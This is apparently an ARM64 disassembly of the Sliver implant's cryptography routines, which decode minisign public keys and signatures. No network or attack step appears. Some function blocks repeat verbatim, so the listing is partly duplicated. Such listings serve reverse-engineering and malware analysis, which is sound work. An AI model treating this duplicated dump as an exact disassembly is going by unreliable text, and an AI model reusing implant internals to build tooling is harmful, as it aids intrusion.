003dc9b8b 0x3dca18
003dc9bc
003dc9bcloc_3dc9bc:
003dc9bcadrp x0, 0x2e0000
003dc9c0add x0, x0, 2338
003dc9c4movz x1, 29
003dc9c8bl errors.New
003dc9ccstr x0, [sp+248]
003dc9d0str x1, [sp+256]
003dc9d4add x27, sp, 74
003dc9d8ldp x2, x3, [x27]
003dc9dcadd x27, sp, 90
003dc9e0ldp x4, x5, [x27]
003dc9e4stp x2, x3, [sp+312]
003dc9e8stp x4, x5, [sp+328]
003dc9ecadd x27, sp, 100
003dc9f0ldp x2, x3, [x27]
003dc9f4add x27, sp, 338
003dc9f8stp x2, x3, [x27]
003dc9fcldr x0, [sp+248]
003dca00ldr x1, [sp+256]
003dca04str x0, [sp+208]
003dca08str x1, [sp+216]
003dca0cldp x29, x30, [sp-8]
003dca10add sp, sp, 304
003dca14ret x30
003dca18
003dca18loc_3dca18:
003dca18stp xzr, xzr, [sp+248]
003dca1cldr x2, [sp+224]
003dca20ldr x1, [sp+232]
003dca24subs xzr, x1, 1
003dca28b.hi 0x3dca30
003dca2cb 0x3dcaf0
003dca30
003dca30loc_3dca30:
003dca30ldr x0, [x2+16]
003dca34ldr x1, [x2+24]
003dca38str x0, [sp+280]
003dca3cstr x1, [sp+288]
003dca40bl github.com/bishopfox/sliver/implant/sliver/cryptography.minisignPublicKey
003dca44ldp x2, x3, [sp+8]
003dca48ldp x4, x5, [sp+24]
003dca4cadd x27, sp, 116
003dca50stp x2, x3, [x27]
003dca54add x27, sp, 132
003dca58stp x4, x5, [x27]
003dca5cadd x27, sp, 34
003dca60ldp x2, x3, [x27]
003dca64add x27, sp, 142
003dca68stp x2, x3, [x27]
003dca6cstr x0, [sp+248]
003dca70str x1, [sp+256]
003dca74add x27, sp, 116
003dca78ldp x2, x3, [x27]
003dca7cadd x27, sp, 132
003dca80ldp x4, x5, [x27]
003dca84add x27, sp, 158
003dca88stp x2, x3, [x27]
003dca8cadd x27, sp, 174
003dca90stp x4, x5, [x27]
003dca94add x27, sp, 142
003dca98ldp x2, x3, [x27]
003dca9cstp x2, x3, [sp+184]
003dcaa0ldr x2, [sp+248]
003dcaa4ldr x3, [sp+256]
003dcaa8str x2, [sp+264]
003dcaacstr x3, [sp+272]
003dcab0add x27, sp, 158
003dcab4ldp x2, x3, [x27]
003dcab8add x27, sp, 174
003dcabcldp x4, x5, [x27]
003dcac0stp x2, x3, [sp+312]
003dcac4stp x4, x5, [sp+328]
003dcac8ldp x2, x3, [sp+184]
003dcaccadd x27, sp, 338
003dcad0stp x2, x3, [x27]
003dcad4ldr x0, [sp+264]
003dcad8ldr x1, [sp+272]
003dcadcstr x0, [sp+208]
003dcae0str x1, [sp+216]
003dcae4ldp x29, x30, [sp-8]
003dcae8add sp, sp, 304
003dcaecret x30
003dcaf0
003dcaf0loc_3dcaf0:
003dcaf0orr x0, xzr, 1
003dcaf4bl runtime.panicIndex
003dcaf8hint
003dcafc
003dcafcloc_3dcafc:
003dcafcstp x0, x1, [sp+56]
003dcb00mov x3, x30
003dcb04bl runtime.morestack_noctxt.abi0
003dcb08ldp x0, x1, [sp+56]
003dcb0cb 0x3dc930
003dc930
003dc930github.com/bishopfox/sliver/implant/sliver/cryptography.DecodeMinisignPublicKey: ; void github.com/bishopfox/sliver/implant/sliver/cryptography.DecodeMinisignPublicKey(struct string in)
003dc930ldr x16, [x28+16]
003dc934sub x17, sp, 176
003dc938subs xzr, x17, x16
003dc93cb.ls 0x3dcafc
003dc940sub x20, sp, 304
003dc944stp x29, x30, [x20-8]
003dc948add sp, x20, 0
003dc94csub x29, sp, 8
003dc950str x0, [sp+360]
003dc954str x1, [sp+368]
003dc958stp xzr, xzr, [sp+312]
003dc95cstp xzr, xzr, [sp+328]
003dc960add x27, sp, 338
003dc964stp xzr, xzr, [x27]
003dc968stp xzr, xzr, [sp+208]
003dc96cadd x27, sp, 74
003dc970stp xzr, xzr, [x27]
003dc974add x27, sp, 90
003dc978stp xzr, xzr, [x27]
003dc97cadd x27, sp, 100
003dc980stp xzr, xzr, [x27]
003dc984ldr x0, [sp+360]
003dc988ldr x1, [sp+368]
003dc98cadrp x2, 0x333000
003dc990add x2, x2, 232
003dc994orr x3, xzr, 1
003dc998orr x4, xzr, 2
003dc99cbl strings.SplitN
003dc9a0str x0, [sp+224]
003dc9a4str x1, [sp+232]
003dc9a8str x2, [sp+240]
003dc9acstr x1, [sp+200]
003dc9b0subs xzr, x1, 2
003dc9b4b.lt 0x3dc9bc
003dc9b8b 0x3dca18
003dc9bc
003dc9bcloc_3dc9bc:
003dc9bcadrp x0, 0x2e0000
003dc9c0add x0, x0, 2338
003dc9c4movz x1, 29
003dc9c8bl errors.New
003dc9ccstr x0, [sp+248]
003dc9d0str x1, [sp+256]
003dc9d4add x27, sp, 74
003dc9d8ldp x2, x3, [x27]
003dc9dcadd x27, sp, 90
003dc9e0ldp x4, x5, [x27]
003dc9e4stp x2, x3, [sp+312]
003dc9e8stp x4, x5, [sp+328]
003dc9ecadd x27, sp, 100
003dc9f0ldp x2, x3, [x27]
003dc9f4add x27, sp, 338
003dc9f8stp x2, x3, [x27]
003dc9fcldr x0, [sp+248]
003dca00ldr x1, [sp+256]
003dca04str x0, [sp+208]
003dca08str x1, [sp+216]
003dca0cldp x29, x30, [sp-8]
003dca10add sp, sp, 304
003dca14ret x30
003dca18
003dca18loc_3dca18:
003dca18stp xzr, xzr, [sp+248]
003dca1cldr x2, [sp+224]
003dca20ldr x1, [sp+232]
003dca24subs xzr, x1, 1
003dca28b.hi 0x3dca30
003dca2cb 0x3dcaf0
003dca30
003dca30loc_3dca30:
003dca30ldr x0, [x2+16]
003dca34ldr x1, [x2+24]
003dca38str x0, [sp+280]
003dca3cstr x1, [sp+288]
003dca40bl github.com/bishopfox/sliver/implant/sliver/cryptography.minisignPublicKey
003dca44ldp x2, x3, [sp+8]
003dca48ldp x4, x5, [sp+24]
003dca4cadd x27, sp, 116
003dca50stp x2, x3, [x27]
003dca54add x27, sp, 132
003dca58stp x4, x5, [x27]
003dca5cadd x27, sp, 34
003dca60ldp x2, x3, [x27]
003dca64add x27, sp, 142
003dca68stp x2, x3, [x27]
003dca6cstr x0, [sp+248]
003dca70str x1, [sp+256]
003dca74add x27, sp, 116
003dca78ldp x2, x3, [x27]
003dca7cadd x27, sp, 132
003dca80ldp x4, x5, [x27]
003dca84add x27, sp, 158
003dca88stp x2, x3, [x27]
003dca8cadd x27, sp, 174
003dca90stp x4, x5, [x27]
003dca94add x27, sp, 142
003dca98ldp x2, x3, [x27]
003dca9cstp x2, x3, [sp+184]
003dcaa0ldr x2, [sp+248]
003dcaa4ldr x3, [sp+256]
003dcaa8str x2, [sp+264]
003dcaacstr x3, [sp+272]
003dcab0add x27, sp, 158
003dcab4ldp x2, x3, [x27]
003dcab8add x27, sp, 174
003dcabcldp x4, x5, [x27]
003dcac0stp x2, x3, [sp+312]
003dcac4stp x4, x5, [sp+328]
003dcac8ldp x2, x3, [sp+184]
003dcaccadd x27, sp, 338
003dcad0stp x2, x3, [x27]
003dcad4ldr x0, [sp+264]
003dcad8ldr x1, [sp+272]
003dcadcstr x0, [sp+208]
003dcae0str x1, [sp+216]
003dcae4ldp x29, x30, [sp-8]
003dcae8add sp, sp, 304
003dcaecret x30
003dcaf0
003dcaf0loc_3dcaf0:
003dcaf0orr x0, xzr, 1
003dcaf4bl runtime.panicIndex
003dcaf8hint
003dcafc
003dcafcloc_3dcafc:
003dcafcstp x0, x1, [sp+56]
003dcb00mov x3, x30
003dcb04bl runtime.morestack_noctxt.abi0
003dcb08ldp x0, x1, [sp+56]
003dcb0cb 0x3dc930
003dc930
003dcb10
003dcb10github.com/bishopfox/sliver/implant/sliver/cryptography.trimCarriageReturn: ; void github.com/bishopfox/sliver/implant/sliver/cryptography.trimCarriageReturn(struct string input)
003dcb10ldr x16, [x28+16]
003dcb14subs xzr, sp, x16
003dcb18b.ls 0x3dcb68
003dcb1cstr x30, [sp-80]!
003dcb20stur x29, [sp-8]
003dcb24sub x29, sp, 8
003dcb28str x0, [sp+88]
003dcb2cstr x1, [sp+96]
003dcb30stp xzr, xzr, [sp+40]
003dcb34ldr x0, [sp+88]
003dcb38ldr x1, [sp+96]
003dcb3cadrp x2, 0x334000
003dcb40add x2, x2, 3128
003dcb44orr x3, xzr, 1
003dcb48bl strings.TrimRight
003dcb4cstr x0, [sp+56]
003dcb50str x1, [sp+64]
003dcb54str x0, [sp+40]
003dcb58str x1, [sp+48]
003dcb5cldur x29, [sp-8]
003dcb60ldr x30, [sp], 80
003dcb64ret x30
003dcb68
003dcb68loc_3dcb68:
003dcb68stp x0, x1, [sp+8]
003dcb6cmov x3, x30
003dcb70bl runtime.morestack_noctxt.abi0
003dcb74ldp x0, x1, [sp+8]
003dcb78b 0x3dcb10
003dcb7cudf 0
003dcb10
003dcb10github.com/bishopfox/sliver/implant/sliver/cryptography.trimCarriageReturn: ; void github.com/bishopfox/sliver/implant/sliver/cryptography.trimCarriageReturn(struct string input)
003dcb10ldr x16, [x28+16]
003dcb14subs xzr, sp, x16
003dcb18b.ls 0x3dcb68
003dcb1cstr x30, [sp-80]!
003dcb20stur x29, [sp-8]
003dcb24sub x29, sp, 8
003dcb28str x0, [sp+88]
003dcb2cstr x1, [sp+96]
003dcb30stp xzr, xzr, [sp+40]
003dcb34ldr x0, [sp+88]
003dcb38ldr x1, [sp+96]
003dcb3cadrp x2, 0x334000
003dcb40add x2, x2, 3128
003dcb44orr x3, xzr, 1
003dcb48bl strings.TrimRight
003dcb4cstr x0, [sp+56]
003dcb50str x1, [sp+64]
003dcb54str x0, [sp+40]
003dcb58str x1, [sp+48]
003dcb5cldur x29, [sp-8]
003dcb60ldr x30, [sp], 80
003dcb64ret x30
003dcb68
003dcb68loc_3dcb68:
003dcb68stp x0, x1, [sp+8]
003dcb6cmov x3, x30
003dcb70bl runtime.morestack_noctxt.abi0
003dcb74ldp x0, x1, [sp+8]
003dcb78b 0x3dcb10
003dcb7cudf 0
003dcb10
003dcb80
003dcb80github.com/bishopfox/sliver/implant/sliver/cryptography.DecodeMinisignSignature: ; void github.com/bishopfox/sliver/implant/sliver/cryptography.DecodeMinisignSignature(struct string in)
003dcb80ldr x16, [x28+16]
003dcb84sub x17, sp, 704
003dcb88subs xzr, x17, x16
003dcb8cb.ls 0x3dd2b0
003dcb90sub x20, sp, 832
003dcb94stp x29, x30, [x20-8]
003dcb98add sp, x20, 0
003dcb9csub x29, sp, 8
003dcba0str x0, [sp+1016]
003dcba4str x1, [sp+1024]
003dcba8add x20, sp, 840
003dcbacadr x27, 16
003dcbb0stp x29, x27, [sp-24]
003dcbb4sub x29, sp, 24
003dcbb8bl fn_87ce4
003dcbbcsub x29, sp, 8
003dcbc0stp xzr, xzr, [sp+128]
003dcbc4add x20, sp, 144
003dcbc8adr x27, 16
003dcbccstp x29, x27, [sp-24]
003dcbd0sub x29, sp, 24
003dcbd4bl fn_87ce4
003dcbd8sub x29, sp, 8
003dcbdcldr x0, [sp+1016]
003dcbe0ldr x1, [sp+1024]
003dcbe4adrp x2, 0x333000
003dcbe8add x2, x2, 232
003dcbecorr x3, xzr, 1
003dcbf0orr x4, xzr, 4
003dcbf4bl strings.SplitN
003dcbf8str x0, [sp+320]
003dcbfcstr x1, [sp+328]
003dcc00str x2, [sp+336]
003dcc04str x1, [sp+120]
003dcc08subs xzr, x1, 4
003dcc0cb.lt 0x3dcc14
003dcc10b 0x3dcc64
003dcc14
003dcc14loc_3dcc14:
003dcc14adrp x0, 0x2df000
003dcc18add x0, x0, 3348
003dcc1corr x1, xzr, 28
003dcc20bl errors.New
003dcc24str x0, [sp+768]
003dcc28str x1, [sp+776]
003dcc2cadd x21, sp, 840
003dcc30add x20, sp, 144
003dcc34adr x27, 16
003dcc38stp x29, x27, [sp-24]
003dcc3csub x29, sp, 24
003dcc40bl fn_87ec8
003dcc44sub x29, sp, 8
003dcc48ldr x0, [sp+768]
003dcc4cldr x1, [sp+776]
003dcc50str x0, [sp+128]
003dcc54str x1, [sp+136]
003dcc58ldp x29, x30, [sp-8]
003dcc5cadd sp, sp, 832
003dcc60ret x30
003dcc64
003dcc64loc_3dcc64:
003dcc64subs xzr, x1, 0
003dcc68b.hi 0x3dcc70
003dcc6cb 0x3dd2a4
003dcc70
003dcc70loc_3dcc70:
003dcc70ldr x2, [x0]
003dcc74ldr x1, [x0+8]
003dcc78str x2, [sp+688]
003dcc7cstr x1, [sp+696]
003dcc80mov x0, x2
003dcc84bl github.com/bishopfox/sliver/implant/sliver/cryptography.trimCarriageReturn
003dcc88str x0, [sp+752]
003dcc8cstr x1, [sp+760]
003dcc90str x0, [sp+144]
003dcc94str x1, [sp+152]
003dcc98str xzr, [sp+728]
003dcc9cadd x27, sp, 736
003dcca0stp xzr, xzr, [x27]
003dcca4add x27, sp, 768
003dcca8stp xzr, xzr, [x27]
003dccacldr x2, [sp+320]
003dccb0ldr x1, [sp+328]
003dccb4subs xzr, x1, 1
003dccb8b.hi 0x3dccc0
003dccbcb 0x3dd29c
003dccc0
003dccc0loc_3dccc0:
003dccc0ldr x1, [x2+16]
003dccc4ldr x2, [x2+24]
003dccc8str x1, [sp+672]
003dccccstr x2, [sp+680]
003dccd0adrp x27, 0x645000
003dccd4ldr x0, [x27+8]
003dccd8bl encoding/base64.(*Encoding).DecodeString
003dccdcstr x0, [sp+728]
003dcce0str x1, [sp+736]
003dcce4str x2, [sp+744]
003dcce8str x3, [sp+768]
003dccecstr x4, [sp+776]
003dccf0ldr x3, [sp+728]
003dccf4ldr x4, [sp+736]
003dccf8ldr x5, [sp+744]
003dccfcstr x3, [sp+424]
003dcd00str x4, [sp+432]
003dcd04str x5, [sp+440]
003dcd08ldr x3, [sp+768]
003dcd0cldr x4, [sp+776]
003dcd10str x3, [sp+408]
003dcd14str x4, [sp+416]
003dcd18ldr x3, [sp+424]
003dcd1cldr x4, [sp+432]
003dcd20ldr x5, [sp+440]
003dcd24str x3, [sp+384]
003dcd28str x4, [sp+392]
003dcd2cstr x5, [sp+400]
003dcd30ldr x3, [sp+416]
003dcd34ldr x4, [sp+408]
003dcd38str x4, [sp+344]
003dcd3cstr x3, [sp+352]
003dcd40subs xzr, x4, 0
003dcd44cset x3, ne
003dcd48strb w3, [sp+55]
003dcd4ccbnz x4, 0x3dcd54
003dcd50b 0x3dcd58
003dcd54
003dcd54loc_3dcd54:
003dcd54b 0x3dcd70
003dcd58
003dcd58loc_3dcd58:
003dcd58ldr x2, [sp+392]
003dcd5cstr x2, [sp+120]
003dcd60subs xzr, x2, 74
003dcd64cset x2, ne
003dcd68strb w2, [sp+55]
003dcd6cb 0x3dcd70
003dcd70
003dcd70loc_3dcd70:
003dcd70ldrb w2, [sp+55]
003dcd74tbnz w2, 0, 0x3dcd7c
003dcd78b 0x3dcdcc
003dcd7c
003dcd7cloc_3dcd7c:
003dcd7cadrp x0, 0x2dd000
003dcd80add x0, x0, 3329
003dcd84movz x1, 25
003dcd88bl errors.New
003dcd8cstr x0, [sp+768]
003dcd90str x1, [sp+776]
003dcd94add x21, sp, 840
003dcd98add x20, sp, 144
003dcd9cadr x27, 16
003dcda0stp x29, x27, [sp-24]
003dcda4sub x29, sp, 24
003dcda8bl fn_87ec8
003dcdacsub x29, sp, 8
003dcdb0ldr x0, [sp+768]
003dcdb4ldr x1, [sp+776]
003dcdb8str x0, [sp+128]
003dcdbcstr x1, [sp+136]
003dcdc0ldp x29, x30, [sp-8]
003dcdc4add sp, sp, 832
003dcdc8ret x30
003dcdcc
003dcdccloc_3dcdcc:
003dcdccldr x2, [sp+320]
003dcdd0ldr x1, [sp+328]
003dcdd4subs xzr, x1, 2
003dcdd8b.hi 0x3dcde0
003dcddcb 0x3dd294
003dcde0
003dcde0loc_3dcde0:
003dcde0ldr x0, [x2+32]
003dcde4ldr x1, [x2+40]
003dcde8str x0, [sp+656]
003dcdecstr x1, [sp+664]
003dcdf0bl github.com/bishopfox/sliver/implant/sliver/cryptography.trimCarriageReturn
003dcdf4str x0, [sp+752]
003dcdf8str x1, [sp+760]
003dcdfcstr x0, [sp+240]
003dce00str x1, [sp+248]
003dce04str xzr, [sp+728]
003dce08add x27, sp, 736
003dce0cstp xzr, xzr, [x27]
003dce10add x27, sp, 768
003dce14stp xzr, xzr, [x27]
003dce18ldr x2, [sp+320]
003dce1cldr x1, [sp+328]
003dce20subs xzr, x1, 3
003dce24b.hi 0x3dce2c
003dce28b 0x3dd28c
003dce2c
003dce2cloc_3dce2c:
003dce2cldr x1, [x2+48]
003dce30ldr x2, [x2+56]
003dce34str x1, [sp+640]
003dce38str x2, [sp+648]
003dce3cadrp x27, 0x645000
003dce40ldr x0, [x27+8]
003dce44bl encoding/base64.(*Encoding).DecodeString
003dce48str x0, [sp+728]
003dce4cstr x1, [sp+736]
003dce50str x2, [sp+744]
003dce54str x3, [sp+768]
003dce58str x4, [sp+776]
003dce5cldr x3, [sp+728]
003dce60ldr x4, [sp+736]
003dce64ldr x5, [sp+744]
003dce68str x3, [sp+800]
003dce6cstr x4, [sp+808]
003dce70str x5, [sp+816]
003dce74ldr x3, [sp+768]
003dce78ldr x4, [sp+776]
003dce7cstr x3, [sp+784]
003dce80str x4, [sp+792]
003dce84ldr x3, [sp+800]
003dce88ldr x4, [sp+808]
003dce8cldr x5, [sp+816]
003dce90str x3, [sp+360]
003dce94str x4, [sp+368]
003dce98str x5, [sp+376]
003dce9cldr x3, [sp+792]
003dcea0ldr x4, [sp+784]
003dcea4str x4, [sp+344]
003dcea8str x3, [sp+352]
003dceacsubs xzr, x4, 0
003dceb0cset x3, ne
003dceb4strb w3, [sp+55]
003dceb8cbnz x4, 0x3dcec0
003dcebcb 0x3dcec4
003dcec0
003dcec0loc_3dcec0:
003dcec0b 0x3dcedc
003dcec4
003dcec4loc_3dcec4:
003dcec4ldr x3, [sp+368]
003dcec8str x3, [sp+120]
003dceccsubs xzr, x3, 64
003dced0cset x3, ne
003dced4strb w3, [sp+55]
003dced8b 0x3dcedc
003dcedc
003dcedcloc_3dcedc:
003dcedcldrb w3, [sp+55]
003dcee0tbnz w3, 0, 0x3dcee8
003dcee4b 0x3dcf38
003dcee8
003dcee8loc_3dcee8:
003dcee8adrp x0, 0x2dd000
003dceecadd x0, x0, 3329
003dcef0movz x1, 25
003dcef4bl errors.New
003dcef8str x0, [sp+768]
003dcefcstr x1, [sp+776]
003dcf00add x21, sp, 840
003dcf04add x20, sp, 144
003dcf08adr x27, 16
003dcf0cstp x29, x27, [sp-24]
003dcf10sub x29, sp, 24
003dcf14bl fn_87ec8
003dcf18sub x29, sp, 8
003dcf1cldr x0, [sp+768]
003dcf20ldr x1, [sp+776]
003dcf24str x0, [sp+128]
003dcf28str x1, [sp+136]
003dcf2cldp x29, x30, [sp-8]
003dcf30add sp, sp, 832
003dcf34ret x30
003dcf38
003dcf38loc_3dcf38:
003dcf38add x3, sp, 160
003dcf3cldrsb x27, [x3]
003dcf40b 0x3dcf44
003dcf44
003dcf44loc_3dcf44:
003dcf44str x3, [sp+728]
003dcf48orr x1, xzr, 2
003dcf4cstr x1, [sp+736]
003dcf50str x1, [sp+744]
003dcf54ldr x2, [sp+400]
003dcf58ldr x3, [sp+384]
003dcf5csubs xzr, x2, 2
003dcf60b.hs 0x3dcf68
003dcf64b 0x3dd288
003dcf68
003dcf68loc_3dcf68:
003dcf68b 0x3dcf6c
003dcf6c
003dcf6cloc_3dcf6c:
003dcf6cstr x3, [sp+704]
003dcf70str x1, [sp+712]
003dcf74str x2, [sp+720]
003dcf78ldr x3, [sp+728]
003dcf7cldr x4, [sp+736]
003dcf80ldr x5, [sp+744]
003dcf84str x3, [sp+616]
003dcf88str x4, [sp+624]
003dcf8cstr x5, [sp+632]
003dcf90ldr x3, [sp+712]
003dcf94ldr x4, [sp+704]
003dcf98ldr x5, [sp+720]
003dcf9cstr x4, [sp+592]
003dcfa0str x3, [sp+600]
003dcfa4str x5, [sp+608]
003dcfa8ldr x4, [sp+624]
003dcfacstr x4, [sp+112]
003dcfb0subs xzr, x4, x3
003dcfb4b.gt 0x3dcfbc
003dcfb8b 0x3dcfc4
003dcfbc
003dcfbcloc_3dcfbc:
003dcfbcstr x3, [sp+112]
003dcfc0b 0x3dcfc8
003dcfc4
003dcfc4loc_3dcfc4:
003dcfc4b 0x3dcfc8
003dcfc8
003dcfc8loc_3dcfc8:
003dcfc8ldr x3, [sp+592]
003dcfccldr x4, [sp+616]
003dcfd0subs xzr, x3, x4
003dcfd4b.ne 0x3dcfdc
003dcfd8b 0x3dcff8
003dcfdc
003dcfdcloc_3dcfdc:
003dcfdcldr x3, [sp+112]
003dcfe0str x3, [sp+104]
003dcfe4ldr x2, [sp+104]
003dcfe8ldr x1, [sp+592]
003dcfecldr x0, [sp+616]
003dcff0bl runtime.memmove
003dcff4b 0x3dcffc
003dcff8
003dcff8loc_3dcff8:
003dcff8b 0x3dcffc
003dcffc
003dcffcloc_3dcffc:
003dcffcadd x3, sp, 162
003dd000ldrsb x27, [x3]
003dd004b 0x3dd008
003dd008
003dd008loc_3dd008:
003dd008str x3, [sp+704]
003dd00corr x3, xzr, 8
003dd010str x3, [sp+712]
003dd014str x3, [sp+720]
003dd018ldr x2, [sp+400]
003dd01cldr x4, [sp+384]
003dd020subs xzr, x2, 10
003dd024b.hs 0x3dd02c
003dd028b 0x3dd280
003dd02c
003dd02cloc_3dd02c:
003dd02cb 0x3dd030
003dd030
003dd030loc_3dd030:
003dd030sub x5, x2, 2
003dd034sub x6, xzr, x5
003dd038sbfm x6, x6, 63, 63
003dd03cand x6, x6, 2
003dd040add x4, x4, x6
003dd044str x4, [sp+728]
003dd048str x3, [sp+736]
003dd04cstr x5, [sp+744]
003dd050ldr x3, [sp+704]
003dd054ldr x4, [sp+712]
003dd058ldr x5, [sp+720]
003dd05cstr x3, [sp+568]
003dd060str x4, [sp+576]
003dd064str x5, [sp+584]
003dd068ldr x3, [sp+736]
003dd06cldr x4, [sp+728]
003dd070ldr x5, [sp+744]
003dd074str x4, [sp+544]
003dd078str x3, [sp+552]
003dd07cstr x5, [sp+560]
003dd080ldr x4, [sp+576]
003dd084str x4, [sp+96]
003dd088subs xzr, x4, x3
003dd08cb.gt 0x3dd094
003dd090b 0x3dd09c
003dd094
003dd094loc_3dd094:
003dd094str x3, [sp+96]
003dd098b 0x3dd0a0
003dd09c
003dd09cloc_3dd09c:
003dd09cb 0x3dd0a0
003dd0a0
003dd0a0loc_3dd0a0:
003dd0a0ldr x3, [sp+544]
003dd0a4ldr x4, [sp+568]
003dd0a8subs xzr, x3, x4
003dd0acb.ne 0x3dd0b4
003dd0b0b 0x3dd0d0
003dd0b4
003dd0b4loc_3dd0b4:
003dd0b4ldr x3, [sp+96]
003dd0b8str x3, [sp+88]
003dd0bcldr x2, [sp+88]
003dd0c0ldr x1, [sp+544]
003dd0c4ldr x0, [sp+568]
003dd0c8bl runtime.memmove
003dd0ccb 0x3dd0d4
003dd0d0
003dd0d0loc_3dd0d0:
003dd0d0b 0x3dd0d4
003dd0d4
003dd0d4loc_3dd0d4:
003dd0d4add x3, sp, 170
003dd0d8ldrsb x27, [x3]
003dd0dcb 0x3dd0e0
003dd0e0
003dd0e0loc_3dd0e0:
003dd0e0str x3, [sp+728]
003dd0e4orr x3, xzr, 64
003dd0e8str x3, [sp+736]
003dd0ecstr x3, [sp+744]
003dd0f0ldr x2, [sp+400]
003dd0f4ldr x4, [sp+384]
003dd0f8subs xzr, x2, 74
003dd0fcb.hs 0x3dd104
003dd100b 0x3dd278
003dd104
003dd104loc_3dd104:
003dd104b 0x3dd108
003dd108
003dd108loc_3dd108:
003dd108sub x5, x2, 10
003dd10csub x6, xzr, x5
003dd110sbfm x6, x6, 63, 63
003dd114movz x7, 10
003dd118and x6, x6, x7
003dd11cadd x4, x4, x6
003dd120str x4, [sp+704]
003dd124str x3, [sp+712]
003dd128str x5, [sp+720]
003dd12cldr x4, [sp+728]
003dd130ldr x5, [sp+736]
003dd134ldr x6, [sp+744]
003dd138str x4, [sp+520]
003dd13cstr x5, [sp+528]
003dd140str x6, [sp+536]
003dd144ldr x4, [sp+712]
003dd148ldr x5, [sp+704]
003dd14cldr x6, [sp+720]
003dd150str x5, [sp+496]
003dd154str x4, [sp+504]
003dd158str x6, [sp+512]
003dd15cldr x5, [sp+528]
003dd160str x5, [sp+80]
003dd164subs xzr, x5, x4
003dd168b.gt 0x3dd170
003dd16cb 0x3dd178
003dd170
003dd170loc_3dd170:
003dd170str x4, [sp+80]
003dd174b 0x3dd17c
003dd178
003dd178loc_3dd178:
003dd178b 0x3dd17c
003dd17c
003dd17cloc_3dd17c:
003dd17cldr x4, [sp+496]
003dd180ldr x5, [sp+520]
003dd184subs xzr, x4, x5
003dd188b.ne 0x3dd190
003dd18cb 0x3dd1ac
003dd190
003dd190loc_3dd190:
003dd190ldr x3, [sp+80]
003dd194str x3, [sp+72]
003dd198ldr x2, [sp+72]
003dd19cldr x1, [sp+496]
003dd1a0ldr x0, [sp+520]
003dd1a4bl runtime.memmove
003dd1a8b 0x3dd1b0
003dd1ac
003dd1acloc_3dd1ac:
003dd1acb 0x3dd1b0
003dd1b0
003dd1b0loc_3dd1b0:
003dd1b0add x3, sp, 256
003dd1b4ldrsb x27, [x3]
003dd1b8b 0x3dd1bc
003dd1bc
003dd1bcloc_3dd1bc:
003dd1bcstr x3, [sp+704]
003dd1c0orr x4, xzr, 64
003dd1c4str x4, [sp+712]
003dd1c8str x4, [sp+720]
003dd1ccstr x3, [sp+472]
003dd1d0str x4, [sp+480]
003dd1d4str x4, [sp+488]
003dd1d8ldr x3, [sp+368]
003dd1dcldr x4, [sp+360]
003dd1e0ldr x5, [sp+376]
003dd1e4str x4, [sp+448]
003dd1e8str x3, [sp+456]
003dd1ecstr x5, [sp+464]
003dd1f0ldr x4, [sp+480]
003dd1f4str x4, [sp+64]
003dd1f8subs xzr, x4, x3
003dd1fcb.gt 0x3dd204
003dd200b 0x3dd20c
003dd204
003dd204loc_3dd204:
003dd204str x3, [sp+64]
003dd208b 0x3dd210
003dd20c
003dd20cloc_3dd20c:
003dd20cb 0x3dd210
003dd210
003dd210loc_3dd210:
003dd210ldr x3, [sp+448]
003dd214ldr x4, [sp+472]
003dd218subs xzr, x3, x4
003dd21cb.ne 0x3dd224
003dd220b 0x3dd240
003dd224
003dd224loc_3dd224:
003dd224ldr x3, [sp+64]
003dd228str x3, [sp+56]
003dd22cldr x2, [sp+56]
003dd230ldr x1, [sp+448]
003dd234ldr x0, [sp+472]
003dd238bl runtime.memmove
003dd23cb 0x3dd244
003dd240
003dd240loc_3dd240:
003dd240b 0x3dd244
003dd244
003dd244loc_3dd244:
003dd244add x21, sp, 840
003dd248add x20, sp, 144
003dd24cadr x27, 16
003dd250stp x29, x27, [sp-24]
003dd254sub x29, sp, 24
003dd258bl fn_87ec8
003dd25csub x29, sp, 8
003dd260stp xzr, xzr, [sp+128]
003dd264mov x0, xzr
003dd268mov x1, xzr
003dd26cldp x29, x30, [sp-8]
003dd270add sp, sp, 832
003dd274ret x30
003dd278
003dd278loc_3dd278:
003dd278movz x1, 74
003dd27cbl runtime.panicSliceAcap
003dd280
003dd280loc_3dd280:
003dd280movz x1, 10
003dd284bl runtime.panicSliceAcap
003dd288
003dd288loc_3dd288:
003dd288bl runtime.panicSliceAcap
003dd28c
003dd28cloc_3dd28c:
003dd28corr x0, xzr, 3
003dd290bl runtime.panicIndex
003dd294
003dd294loc_3dd294:
003dd294orr x0, xzr, 2
003dd298bl runtime.panicIndex
003dd29c
003dd29cloc_3dd29c:
003dd29corr x0, xzr, 1
003dd2a0bl runtime.panicIndex
003dd2a4
003dd2a4loc_3dd2a4:
003dd2a4mov x0, xzr
003dd2a8bl runtime.panicIndex
003dd2achint
003dd2b0
003dd2b0loc_3dd2b0:
003dd2b0stp x0, x1, [sp+184]
003dd2b4mov x3, x30
003dd2b8bl runtime.morestack_noctxt.abi0
003dd2bcldp x0, x1, [sp+184]
003dd2c0b 0x3dcb80
003dd2c4udf 0
003dd2c8udf 0
003dd2ccudf 0
003dcb80
003dcb80github.com/bishopfox/sliver/implant/sliver/cryptography.DecodeMinisignSignature: ; void github.com/bishopfox/sliver/implant/sliver/cryptography.DecodeMinisignSignature(struct string in)
003dcb80ldr x16, [x28+16]
003dcb84sub x17, sp, 704
003dcb88subs xzr, x17, x16
003dcb8cb.ls 0x3dd2b0
003dcb90sub x20, sp, 832
003dcb94stp x29, x30, [x20-8]
003dcb98add sp, x20, 0
003dcb9csub x29, sp, 8
003dcba0str x0, [sp+1016]
003dcba4str x1, [sp+1024]
003dcba8add x20, sp, 840
003dcbacadr x27, 16
003dcbb0stp x29, x27, [sp-24]
003dcbb4sub x29, sp, 24
003dcbb8bl fn_87ce4
003dcbbcsub x29, sp, 8
003dcbc0stp xzr, xzr, [sp+128]
003dcbc4add x20, sp, 144
003dcbc8adr x27, 16
003dcbccstp x29, x27, [sp-24]
003dcbd0sub x29, sp, 24
003dcbd4bl fn_87ce4
003dcbd8sub x29, sp, 8
003dcbdcldr x0, [sp+1016]
003dcbe0ldr x1, [sp+1024]
003dcbe4adrp x2, 0x333000
003dcbe8add x2, x2, 232
003dcbecorr x3, xzr, 1
003dcbf0orr x4, xzr, 4
003dcbf4bl strings.SplitN
003dcbf8str x0, [sp+320]
003dcbfcstr x1, [sp+328]
003dcc00str x2, [sp+336]
003dcc04str x1, [sp+120]
003dcc08subs xzr, x1, 4
003dcc0cb.lt 0x3dcc14
003dcc10b 0x3dcc64
003dcc14
003dcc14loc_3dcc14:
003dcc14adrp x0, 0x2df000
003dcc18add x0, x0, 3348
003dcc1corr x1, xzr, 28
